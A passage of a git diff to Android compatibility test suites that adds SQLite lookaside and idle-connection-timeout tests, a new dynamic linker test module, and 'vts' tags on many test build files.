diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
index f6458c1..26f8794 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
@@ -22,6 +22,7 @@
 import java.util.Locale;
 import java.util.concurrent.Semaphore;
 
+import android.app.ActivityManager;
 import android.content.ContentValues;
 import android.content.Context;
 import android.database.Cursor;
@@ -31,16 +32,22 @@
 import android.database.sqlite.SQLiteCursorDriver;
 import android.database.sqlite.SQLiteDatabase;
 import android.database.sqlite.SQLiteDatabase.CursorFactory;
-import android.database.sqlite.SQLiteException;
+import android.database.sqlite.SQLiteDebug;
 import android.database.sqlite.SQLiteQuery;
 import android.database.sqlite.SQLiteStatement;
 import android.database.sqlite.SQLiteTransactionListener;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
 import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
 import android.test.suitebuilder.annotation.LargeTest;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.util.Log;
+
+import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
+import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
 
 public class SQLiteDatabaseTest extends AndroidTestCase {
+    private static final String TAG = "SQLiteDatabaseTest";
     private SQLiteDatabase mDatabase;
     private File mDatabaseFile;
     private String mDatabaseFilePath;
@@ -82,19 +89,17 @@
 
     @Override
     protected void tearDown() throws Exception {
-        mDatabase.close();
-        mDatabaseFile.delete();
+        closeAndDeleteDatabase();
         super.tearDown();
     }
 
-    public void testOpenDatabase() {
-        CursorFactory factory = new CursorFactory() {
-            public Cursor newCursor(SQLiteDatabase db, SQLiteCursorDriver masterQuery,
-                    String editTable, SQLiteQuery query) {
-                return new MockSQLiteCursor(db, masterQuery, editTable, query);
-            }
-        };
+    private void closeAndDeleteDatabase() {
+        mDatabase.close();
+        SQLiteDatabase.deleteDatabase(mDatabaseFile);
+    }
 
+    public void testOpenDatabase() {
+        CursorFactory factory = MockSQLiteCursor::new;
         SQLiteDatabase db = SQLiteDatabase.openDatabase(mDatabaseFilePath,
                 factory, SQLiteDatabase.CREATE_IF_NECESSARY);
         assertNotNull(db);
@@ -1276,8 +1281,7 @@
     @LargeTest
     public void testReaderGetsOldVersionOfDataWhenWriterIsInXact() throws InterruptedException {
         // redo setup to create WAL enabled database
-        mDatabase.close();
-        new File(mDatabase.getPath()).delete();
+        closeAndDeleteDatabase();
         mDatabase = SQLiteDatabase.openOrCreateDatabase(mDatabaseFile.getPath(), null, null);
         boolean rslt = mDatabase.enableWriteAheadLogging();
         assertTrue(rslt);
@@ -1350,8 +1354,7 @@
     public void testExceptionsFromEnableWriteAheadLogging() {
         // attach a database
         // redo setup to create WAL enabled database
-        mDatabase.close();
-        new File(mDatabase.getPath()).delete();
+        closeAndDeleteDatabase();
         mDatabase = SQLiteDatabase.openOrCreateDatabase(mDatabaseFile.getPath(), null, null);
 
         // attach a database and call enableWriteAheadLogging - should not be allowed
@@ -1388,7 +1391,7 @@
     }
 
     public void testEnableThenDisableWriteAheadLoggingUsingOpenFlag() {
-        new File(mDatabase.getPath()).delete();
+        closeAndDeleteDatabase();
         mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile.getPath(), null,
                 SQLiteDatabase.CREATE_IF_NECESSARY | SQLiteDatabase.ENABLE_WRITE_AHEAD_LOGGING,
                 null);
@@ -1409,14 +1412,13 @@
 
     public void testEnableWriteAheadLoggingFromContextUsingModeFlag() {
         // Without the MODE_ENABLE_WRITE_AHEAD_LOGGING flag, database opens without WAL.
-        getContext().deleteDatabase(DATABASE_FILE_NAME);
+        closeAndDeleteDatabase();
         mDatabase = getContext().openOrCreateDatabase(DATABASE_FILE_NAME,
                 Context.MODE_PRIVATE, null);
         assertFalse(mDatabase.isWriteAheadLoggingEnabled());
-        mDatabase.close();
 
         // With the MODE_ENABLE_WRITE_AHEAD_LOGGING flag, database opens with WAL.
-        getContext().deleteDatabase(DATABASE_FILE_NAME);
+        closeAndDeleteDatabase();
         mDatabase = getContext().openOrCreateDatabase(DATABASE_FILE_NAME,
                 Context.MODE_PRIVATE | Context.MODE_ENABLE_WRITE_AHEAD_LOGGING, null);
         assertTrue(mDatabase.isWriteAheadLoggingEnabled());
@@ -1493,4 +1495,93 @@
         mDatabase.setForeignKeyConstraintsEnabled(true);
         assertEquals(1, DatabaseUtils.longForQuery(mDatabase, "PRAGMA foreign_keys", null));
     }
+
+    public void testOpenDatabaseLookasideConfig() {
+        // First check that lookaside is enabled (except low-RAM devices)
+        boolean expectDisabled = mContext.getSystemService(ActivityManager.class).isLowRamDevice();
+        verifyLookasideStats(expectDisabled);
+        // Reopen test db with lookaside disabled
+        mDatabase.close();
+        SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+                .setLookasideConfig(0, 0).build();
+        mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+        verifyLookasideStats(true);
+        // Reopen test db with custom lookaside config
+        mDatabase.close();
+        params = new SQLiteDatabase.OpenParams.Builder().setLookasideConfig(10000, 10).build();
+        mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+        // Lookaside is always disabled on low-RAM devices
+        verifyLookasideStats(expectDisabled);
+    }
+
+    public void testOpenParamsSetLookasideConfigValidation() {
+        try {
+            new SQLiteDatabase.OpenParams.Builder().setLookasideConfig(-1, 0).build();
+            fail("Negative slot size should be rejected");
+        } catch (IllegalArgumentException expected) {
+        }
+        try {
+            new SQLiteDatabase.OpenParams.Builder().setLookasideConfig(0, -10).build();
+            fail("Negative slot count should be rejected");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    private void verifyLookasideStats(boolean expectDisabled) {
+        boolean dbStatFound = false;
+        SQLiteDebug.PagerStats info = SQLiteDebug.getDatabaseInfo();
+        for (SQLiteDebug.DbStats dbStat : info.dbStats) {
+            if (dbStat.dbName.endsWith(mDatabaseFile.getName())) {
+                dbStatFound = true;
+                Log.i(TAG, "Lookaside for " + dbStat.dbName + " " + dbStat.lookaside);
+                if (expectDisabled) {
+                    assertTrue("lookaside slots count should be zero", dbStat.lookaside == 0);
+                } else {
+                    assertTrue("lookaside slots count should be greater than zero",
+                            dbStat.lookaside > 0);
+                }
+            }
+        }
+        assertTrue("No dbstat found for " + mDatabaseFile.getName(), dbStatFound);
+    }
+
+    public void testCloseIdleConnection() throws Exception {
+        mDatabase.close();
+        SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+                .setIdleConnectionTimeout(1000).build();
+        mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+        // Wait a bit and check that connection is still open
+        Thread.sleep(600);
+        String output = getDbInfoOutput();
+        assertTrue("Connection #0 should be open. Output: " + output,
+                output.contains("Connection #0:"));
+
+        // Now cause idle timeout and check that connection is closed
+        // We wait up to 5 seconds, which is longer than required 1 s to accommodate for delays in
+        // message processing when system is busy
+        boolean connectionWasClosed = waitForConnectionToClose(10, 500);
+        assertTrue("Connection #0 should be closed", connectionWasClosed);
+    }
+
+    public void testNoCloseIdleConnectionForAttachDb() throws Exception {
+        mDatabase.close();
+        SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
+                .setIdleConnectionTimeout(50).build();
+        mDatabase = SQLiteDatabase.openDatabase(mDatabaseFile, params);
+        // Attach db and verify size of the list of attached databases (includes main db)
+        assertEquals(1, mDatabase.getAttachedDbs().size());
+        mDatabase.execSQL("ATTACH DATABASE ':memory:' as memdb");
+        assertEquals(2, mDatabase.getAttachedDbs().size());
+        // Wait longer (500ms) to catch cases when timeout processing was delayed
+        boolean connectionWasClosed = waitForConnectionToClose(5, 100);
+        assertFalse("Connection #0 should be open", connectionWasClosed);
+    }
+
+    public void testSetIdleConnectionTimeoutValidation() throws Exception {
+        try {
+            new SQLiteDatabase.OpenParams.Builder().setIdleConnectionTimeout(-1).build();
+            fail("Negative timeout should be rejected");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
 }
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
index 8a0ba21..853f24b 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteOpenHelperTest.java
@@ -16,37 +16,48 @@
 
 package android.database.sqlite.cts;
 
+import android.app.ActivityManager;
 import android.content.Context;
-import android.database.Cursor;
 import android.database.sqlite.SQLiteCursor;
 import android.database.sqlite.SQLiteCursorDriver;
 import android.database.sqlite.SQLiteDatabase;
+import android.database.sqlite.SQLiteDebug;
+import android.database.sqlite.SQLiteGlobal;
 import android.database.sqlite.SQLiteOpenHelper;
 import android.database.sqlite.SQLiteQuery;
 import android.database.sqlite.SQLiteDatabase.CursorFactory;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
 import android.test.AndroidTestCase;
+import android.util.Log;
+
+import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
+import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
 
 /**
  * Test {@link SQLiteOpenHelper}.
  */
 public class SQLiteOpenHelperTest extends AndroidTestCase {
+    private static final String TAG = "SQLiteOpenHelperTest";
     private static final String TEST_DATABASE_NAME = "database_test.db";
     private static final int TEST_VERSION = 1;
     private static final int TEST_ILLEGAL_VERSION = 0;
     private MockOpenHelper mOpenHelper;
-    private SQLiteDatabase.CursorFactory mFactory = new SQLiteDatabase.CursorFactory() {
-        public Cursor newCursor(SQLiteDatabase db, SQLiteCursorDriver masterQuery,
-                String editTable, SQLiteQuery query) {
-            return new MockCursor(db, masterQuery, editTable, query);
-        }
-    };
+    private SQLiteDatabase.CursorFactory mFactory = MockCursor::new;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
+        SQLiteDatabase.deleteDatabase(mContext.getDatabasePath(TEST_DATABASE_NAME));
         mOpenHelper = getOpenHelper();
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        mOpenHelper.close();
+        super.tearDown();
+    }
+
     public void testConstructor() {
         new MockOpenHelper(mContext, TEST_DATABASE_NAME, mFactory, TEST_VERSION);
 
@@ -94,6 +105,105 @@
         assertFalse(database3.isOpen());
     }
 
+    public void testLookasideDefault() throws Exception {
+        assertNotNull(mOpenHelper.getWritableDatabase());
+        // Lookaside is always disabled on low-RAM devices
+        boolean expectDisabled = mContext.getSystemService(ActivityManager.class).isLowRamDevice();
+        verifyLookasideStats(mOpenHelper.getDatabaseName(), expectDisabled);
+    }
+
+    public void testLookasideDisabled() throws Exception {
+        mOpenHelper.setLookasideConfig(0, 0);
+        assertNotNull(mOpenHelper.getWritableDatabase());
+        verifyLookasideStats(mOpenHelper.getDatabaseName(), true);
+    }
+
+    public void testLookasideCustom() throws Exception {
+        mOpenHelper.setLookasideConfig(10000, 10);
+        assertNotNull(mOpenHelper.getWritableDatabase());
+        // Lookaside is always disabled on low-RAM devices
+        boolean expectDisabled = mContext.getSystemService(ActivityManager.class).isLowRamDevice();
+        verifyLookasideStats(mOpenHelper.getDatabaseName(), expectDisabled);
+    }
+
+    public void testSetLookasideConfigValidation() {
+        try {
+            mOpenHelper.setLookasideConfig(-1, 0);
+            fail("Negative slot size should be rejected");
+        } catch (IllegalArgumentException expected) {
+        }
+        try {
+            mOpenHelper.setLookasideConfig(0, -10);
+            fail("Negative slot count should be rejected");
+        } catch (IllegalArgumentException expected) {
+        }
+        try {
+            mOpenHelper.setLookasideConfig(1, 0);
+            fail("Illegal config should be rejected");
+        } catch (IllegalArgumentException expected) {
+        }
+        try {
+            mOpenHelper.setLookasideConfig(0, 1);
+            fail("Illegal config should be rejected");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    private static void verifyLookasideStats(String dbName, boolean expectDisabled) {
+        boolean dbStatFound = false;
+        SQLiteDebug.PagerStats info = SQLiteDebug.getDatabaseInfo();
+        for (SQLiteDebug.DbStats dbStat : info.dbStats) {
+            if (dbStat.dbName.endsWith(dbName)) {
+                dbStatFound = true;
+                Log.i(TAG, "Lookaside for " + dbStat.dbName + " " + dbStat.lookaside);
+                if (expectDisabled) {
+                    assertTrue("lookaside slots count should be zero", dbStat.lookaside == 0);
+                } else {
+                    assertTrue("lookaside slots count should be greater than zero",
+                            dbStat.lookaside > 0);
+                }
+            }
+        }
+        assertTrue("No dbstat found for " + dbName, dbStatFound);
+    }
+
+    public void testCloseIdleConnection() throws Exception {
+        mOpenHelper.setIdleConnectionTimeout(1000);
+        mOpenHelper.getReadableDatabase();
+        // Wait a bit and check that connection is still open
+        Thread.sleep(600);
+        String output = getDbInfoOutput();
+        assertTrue("Connection #0 should be open. Output: " + output,
+                output.contains("Connection #0:"));
+
+        // Now cause idle timeout and check that connection is closed
+        // We wait up to 5 seconds, which is longer than required 1 s to accommodate for delays in
+        // message processing when system is busy
+        boolean connectionWasClosed = waitForConnectionToClose(10, 500);
+        assertTrue("Connection #0 should be closed", connectionWasClosed);
+    }
+
+    public void testSetIdleConnectionTimeoutValidation() throws Exception {
+        try {
+            mOpenHelper.setIdleConnectionTimeout(-1);
+            fail("Negative timeout should be rejected");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    public void testCloseIdleConnectionDefaultDisabled() throws Exception {
+        // Make sure system default timeout is not changed
+        assertEquals(30000, SQLiteGlobal.getIdleConnectionTimeout());
+
+        mOpenHelper.getReadableDatabase();
+        // Wait past the timeout and verify that connection is still open
+        Log.w(TAG, "Waiting for 35 seconds...");
+        Thread.sleep(35000);
+        String output = getDbInfoOutput();
+        assertTrue("Connection #0 should be open. Output: " + output,
+                output.contains("Connection #0:"));
+    }
+
     private MockOpenHelper getOpenHelper() {
         return new MockOpenHelper(mContext, TEST_DATABASE_NAME, mFactory, TEST_VERSION);
     }
diff --git a/tests/tests/debug/Android.mk b/tests/tests/debug/Android.mk
index ff2d50f..f1b9b27 100644
--- a/tests/tests/debug/Android.mk
+++ b/tests/tests/debug/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
 
diff --git a/tests/tests/debug/AndroidTest.xml b/tests/tests/debug/AndroidTest.xml
index 44e650f..c6d6de3 100644
--- a/tests/tests/debug/AndroidTest.xml
+++ b/tests/tests/debug/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for CTS Debug test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="devtools" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDebugTestCases.apk" />
diff --git a/tests/tests/display/Android.mk b/tests/tests/display/Android.mk
index 92ff40e..b07b378 100644
--- a/tests/tests/display/Android.mk
+++ b/tests/tests/display/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 LOCAL_PACKAGE_NAME := CtsDisplayTestCases
 
diff --git a/tests/tests/dpi/Android.mk b/tests/tests/dpi/Android.mk
index cfd8165..8bb7d64 100644
--- a/tests/tests/dpi/Android.mk
+++ b/tests/tests/dpi/Android.mk
@@ -31,7 +31,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/dpi2/Android.mk b/tests/tests/dpi2/Android.mk
index 1fcedf1..dcd2c0f 100644
--- a/tests/tests/dpi2/Android.mk
+++ b/tests/tests/dpi2/Android.mk
@@ -20,6 +20,8 @@
 # We use the DefaultManifestAttributesTest from the android.cts.dpi package.
 LOCAL_STATIC_JAVA_LIBRARIES := android.cts.dpi ctstestrunner junit
 
+LOCAL_JAVA_LIBRARIES := legacy-android-test
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_PACKAGE_NAME := CtsDpiTestCases2
@@ -31,6 +33,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dreams/Android.mk b/tests/tests/dreams/Android.mk
index 5ae5d85..383c9c3 100644
--- a/tests/tests/dreams/Android.mk
+++ b/tests/tests/dreams/Android.mk
@@ -34,6 +34,6 @@
 #LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dreams/AndroidTest.xml b/tests/tests/dreams/AndroidTest.xml
index 12d3358..7274740 100644
--- a/tests/tests/dreams/AndroidTest.xml
+++ b/tests/tests/dreams/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS Dreams test cases">
     <option name="config-descriptor:metadata" key="component" value="sysui" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDreamsTestCases.apk" />
diff --git a/tests/tests/drm/Android.mk b/tests/tests/drm/Android.mk
index a915062..13ac8d6 100644
--- a/tests/tests/drm/Android.mk
+++ b/tests/tests/drm/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDrmTestCases
 
diff --git a/tests/tests/drm/jni/Android.mk b/tests/tests/drm/jni/Android.mk
index 87f00a4..fe9a041 100644
--- a/tests/tests/drm/jni/Android.mk
+++ b/tests/tests/drm/jni/Android.mk
@@ -30,4 +30,6 @@
 LOCAL_SHARED_LIBRARIES := liblog libdl
 LOCAL_SDK_VERSION := 23
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/dynamic_linker/Android.mk b/tests/tests/dynamic_linker/Android.mk
new file mode 100644
index 0000000..97518bd
--- /dev/null
+++ b/tests/tests/dynamic_linker/Android.mk
@@ -0,0 +1,48 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := libdynamiclinker_native_lib_a
+LOCAL_MODULE_TAGS := optional
+LOCAL_SRC_FILES := native_lib_a.cpp
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+LOCAL_SDK_VERSION := 25
+LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_STRIP_MODULE := false
+include $(BUILD_SHARED_LIBRARY)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := libdynamiclinker_native_lib_b
+LOCAL_MODULE_TAGS := optional
+LOCAL_SRC_FILES := native_lib_b.cpp
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+LOCAL_SDK_VERSION := 25
+LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_STRIP_MODULE := false
+include $(BUILD_SHARED_LIBRARY)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_SRC_FILES := $(call all-java-files-under, .)
+LOCAL_MULTILIB := both
+LOCAL_JNI_SHARED_LIBRARIES := libdynamiclinker_native_lib_a libdynamiclinker_native_lib_b
+LOCAL_MANIFEST_FILE := AndroidManifest.xml
+LOCAL_PACKAGE_NAME := CtsDynamicLinkerTestCases
+LOCAL_SDK_VERSION := current
+LOCAL_COMPATIBILITY_SUITE := cts vts
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dynamic_linker/AndroidManifest.xml b/tests/tests/dynamic_linker/AndroidManifest.xml
new file mode 100644
index 0000000..db8099e
--- /dev/null
+++ b/tests/tests/dynamic_linker/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.dynamiclinker">
+
+    <application android:extractNativeLibs="false">
+        <uses-library android:name="android.test.runner" />
+    </application>
+    <instrumentation
+        android:targetPackage="com.android.dynamiclinker"
+        android:name="android.support.test.runner.AndroidJUnitRunner" />
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/dynamic_linker/AndroidTest.xml b/tests/tests/dynamic_linker/AndroidTest.xml
new file mode 100644
index 0000000..5cc4317
--- /dev/null
+++ b/tests/tests/dynamic_linker/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS dynamic linker test cases">
+    <option name="config-descriptor:metadata" key="component" value="bionic" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsDynamicLinkerTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.dynamiclinker" />
+    </test>
+</configuration>
diff --git a/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java b/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java
new file mode 100644
index 0000000..f0d7c4b
--- /dev/null
+++ b/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.dynamiclinker;
+
+import junit.framework.TestCase;
+import android.support.test.InstrumentationRegistry;
+
+public class DynamicLinkerTest extends TestCase {
+
+  private native int functionA();
+  private native int functionB();
+
+  public void testLoadLibInApkByLibName() {
+    System.loadLibrary("dynamiclinker_native_lib_a");
+    assertEquals(1, functionA());
+  }
+
+  public void testLoadLibInApkByFileName() {
+    String arch = System.getProperty("os.arch");
+    String apkPath = InstrumentationRegistry.getContext().getPackageResourcePath();
+    if (arch.equals("aarch64")) {
+      System.load(apkPath + "!/lib/arm64-v8a/libdynamiclinker_native_lib_b.so");
+    } else if (arch.startsWith("arm")) {
+      System.load(apkPath + "!/lib/armeabi-v7a/libdynamiclinker_native_lib_b.so");
+    } else if (arch.equals("x86_64")) {
+      System.load(apkPath + "!/lib/x86_64/libdynamiclinker_native_lib_b.so");
+    } else if (arch.endsWith("86")) {
+      System.load(apkPath + "!/lib/x86/libdynamiclinker_native_lib_b.so");
+    } else {
+      // Don't know which lib to load on this arch.
+      return;
+    }
+    assertEquals(1, functionB());
+  }
+
+}
diff --git a/tests/tests/dynamic_linker/native_lib_a.cpp b/tests/tests/dynamic_linker/native_lib_a.cpp
new file mode 100644
index 0000000..8e8b859
--- /dev/null
+++ b/tests/tests/dynamic_linker/native_lib_a.cpp
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+extern "C" int Java_com_android_dynamiclinker_DynamicLinkerTest_functionA(JNIEnv *) {
+  return 1;
+}
diff --git a/tests/tests/dynamic_linker/native_lib_b.cpp b/tests/tests/dynamic_linker/native_lib_b.cpp
new file mode 100644
index 0000000..ce9081a1
--- /dev/null
+++ b/tests/tests/dynamic_linker/native_lib_b.cpp
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+extern "C" int Java_com_android_dynamiclinker_DynamicLinkerTest_functionB(JNIEnv *) {
+  return 1;
+}
diff --git a/tests/tests/effect/Android.mk b/tests/tests/effect/Android.mk
index bf78071..adf2baa 100644
--- a/tests/tests/effect/Android.mk
+++ b/tests/tests/effect/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/externalservice/Android.mk b/tests/tests/externalservice/Android.mk
index cc9c518..62afaad 100644
--- a/tests/tests/externalservice/Android.mk
+++ b/tests/tests/externalservice/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsExternalServiceTestCases
 
diff --git a/tests/tests/externalservice/service/Android.mk b/tests/tests/externalservice/service/Android.mk
index c2cea8a..9fc0033 100644
--- a/tests/tests/externalservice/service/Android.mk
+++ b/tests/tests/externalservice/service/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsExternalServiceService
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/gesture/Android.mk b/tests/tests/gesture/Android.mk
index 3ac8ca3..b7bd036 100755
--- a/tests/tests/gesture/Android.mk
+++ b/tests/tests/gesture/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsGestureTestCases
 
diff --git a/tests/tests/graphics/Android.mk b/tests/tests/graphics/Android.mk
index 6ac89fe..7ea5eec 100644
--- a/tests/tests/graphics/Android.mk
+++ b/tests/tests/graphics/Android.mk
@@ -26,6 +26,7 @@
     android-support-test \
     mockito-target-minus-junit4 \
     compatibility-device-util \
+    ctsdeviceutillegacy \
     ctstestrunner \
     android-support-annotations \
     junit \
@@ -38,7 +39,7 @@
 LOCAL_PACKAGE_NAME := CtsGraphicsTestCases
 
